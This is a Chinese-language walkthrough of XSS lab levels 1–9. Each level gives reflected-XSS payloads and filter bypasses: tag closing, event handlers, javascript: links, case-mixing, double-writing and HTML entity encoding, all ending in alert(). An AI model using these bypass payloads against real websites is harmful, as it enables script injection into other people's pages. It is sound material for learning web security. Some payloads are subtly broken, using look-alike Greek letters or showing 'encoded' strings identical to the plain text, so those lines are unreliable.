目录
Less7(构造链接+"/>闭合+关键字过滤+双写混淆绕过)
一、推荐
Less1(无过滤)
特点:
参数中插入
无过滤
反射性
利用:
见空就插,看见有参数,插
<script>alert()</script>
Less2(闭合标签)
特点:
参数中插入
被HTMLL编码了
反射性
利用:
见空就插,看见有参数,插
<script>alert()</script>
右键查看源码
可以看到我们输入的内容被HTML实体编码了
扩展:
HTML实体编码,格式 以&符号开头,以;分号结尾
十进制的ASCLL编码,格式: 以符号&#开头,分号;结尾
打开开发者模式(Ctrl+shift+I)
定位到输入框位置
可以看见是在value标签框里
尝试闭合标签
"><script>alert(/xss/)</script>
可以在URL中输入,也可以再搜索框中输入
Less3('闭合+触发事件)
特点:
参数中插入
被HTMLL编码了
单引号闭合
反射性
利用:
见空就插,看见有参数,插
<script>alert()</script>
右键查看源码
可以看到我们输入的内容被HTML实体编码了
扩展:
HTML实体编码,格式 以&符号开头,以;分号结尾
十进制的ASCLL编码,格式: 以符号&#开头,分号;结尾
打开开发者模式(Ctrl+shift+I)
定位到输入框位置
可以看见是在value标签框里
尝试闭合标签
"><script>alert(/xss/)</script>
从搜索框中输入
发现已经没效果了
前后出现了单引号,考虑单引号闭合他们
尝试使用触发事件函数来弹窗
扩展:
onclick(点击)
onerror(加载外部文件(文档、图像)发生错误时触发)
onmouseover(鼠标滑过)
……
'οnclick='alert()
然后再点击一下输入框
Less4(<>被过滤+"闭合+触发事件)
特点:
参数中插入
被HTMLL编码了
<>被过滤为空了
双引号闭合
反射性
利用:
见空就插,看见有参数,插
<script>alert()</script>
右键查看源码
发现<>都变没了,变成了空的
打开开发者模式(Ctrl+shift+I)
定位到输入框位置
可以看见是在value标签框里,还是首先考虑闭合
使用"><script>alert(/xss/)</script>已经无效了
因为<>都被过滤了
尝试使用触发事件函数来弹窗
扩展:
onclick(点击)
onerror(加载外部文件(文档、图像)发生错误时触发)
onmouseover(鼠标滑过)
……
" οnmοuseοver='alert()'
然后移动鼠标
Less5(构造链接+"/>闭合)
特点:
参数中插入
特殊标签都被加上了下划线
")闭合
反射性
利用:
见空就插,看见有参数,插
<script>alert()</script>
右键查看源码
发现标签被加了下划线
打开开发者模式(Ctrl+shift+I)
定位到输入框位置
可以看见是在value标签框里,还是考虑绕过,或者闭合
测试能否双写绕过
使用<scrscriipt>alert()</script>
行不通
尝试使用触发事件函数来弹窗
扩展:
onclick(点击)
onerror(加载外部文件(文档、图像)发生错误时触发)
onmouseover(鼠标滑过)
……
都被加上了下划线
尝试
javascript
可行
通过闭合前面的value,在后面构造一个链接
点击触发弹窗
payload:" /> <a href=javascript:alert()>链接</a>
<input name=keyword value=""> <a href=javascript:alert()>something</a>">
![]()
Less6(构造链接+"/>闭合+大小写混淆绕过)
特点:
参数中插入
特殊标签都被加上了下划线
">闭合
构造链接
大小写绕过
反射性
利用:
见空就插,看见有参数,插
<script>alert()</script>
右键查看源码
发现标签被加了下划线
打开开发者模式(Ctrl+shift+I)
定位到输入框位置
可以看见是在value标签框里,还是考虑绕过,或者闭合
尝试使用触发事件函数来弹窗
扩展:
onclick(点击)
onerror(加载外部文件(文档、图像)发生错误时触发)
onmouseover(鼠标滑过)
……
都被加上了下划线
尝试
javascript
可行
通过闭合前面的value,在后面构造一个链接
点击触发弹窗
payload:" /> <a href=javascript:alert()>链接</a>
<input name=keyword value=""> <a href=javascript:alert()>something</a>">
发现链接点不了
查看后发现是href被加了下划线
考虑绕过
考虑大小写绕过,或者双写绕过
" /> <a hRef=javascript:alert()>链接</a>
未被过滤了
Less7(构造链接+"/>闭合+关键字过滤+双写混淆绕过)
特点:
参数中插入
首先被全部转换为小写,然后关键字被过滤
">闭合
构造链接
双写绕过
反射性
利用:
见空就插,看见有参数,插
<script>alert()</script>
右键查看源码
发现标签被过滤了
尝试使用触发事件函数来弹窗
扩展:
onclick(点击)
onerror(加载外部文件(文档、图像)发生错误时触发)
onmouseover(鼠标滑过)
……
发现也被过滤了
尝试
javascript
发现也被过滤了
考虑绕过过滤
考虑大小写绕过,或者双写绕过
" /> <a hRef=JavaScript:alert()>链接</a>
发现全部被转换为了小写,且被过滤了
"> <a hrhrefef='javascriscriptpt:alert()'>链接</a>
或者直接弹窗
"><scrscriptipt>alert()</scrscriptipt>
Less8(编码绕过+关键字过滤)
特点:
参数中插入
首先被全部转换为小写,然后关键字被过滤
编码绕过
反射性
利用:
见空就插,看见有参数,插
<script>alert()</script>
右键查看源码
发现关键字被加了下划线
尝试
javascript
发现也被加了下划线
考虑绕过过滤
考虑大小写绕过,或者双写绕过
javascript:alert()
被进行了编码,和过滤
尝试进行HTML编码绕过
可以选择局部字符编码,也可以全部编码绕过
就变成了
javascript:alert()
全部编码就是
javascript:alert()
Less9(编码绕过+关键字过滤+http头)
特点:
参数中插入
首先被全部转换为小写,然后关键字被过滤
编码绕过
添加http头
反射性
利用:
见空就插,看见有参数,插
<script>alert()</script>
提示不合法
http://<script>alert()</script>
添加链接后,点击无效果
右键查看源码
关键字是被加上了下划线
尝试进行HTML编码绕过
可以选择局部字符编码,也可以全部编码绕过
http://javascript:alert()
就变成了
javascript:alert()//http://
全部编码就是
javascript:alert()//http://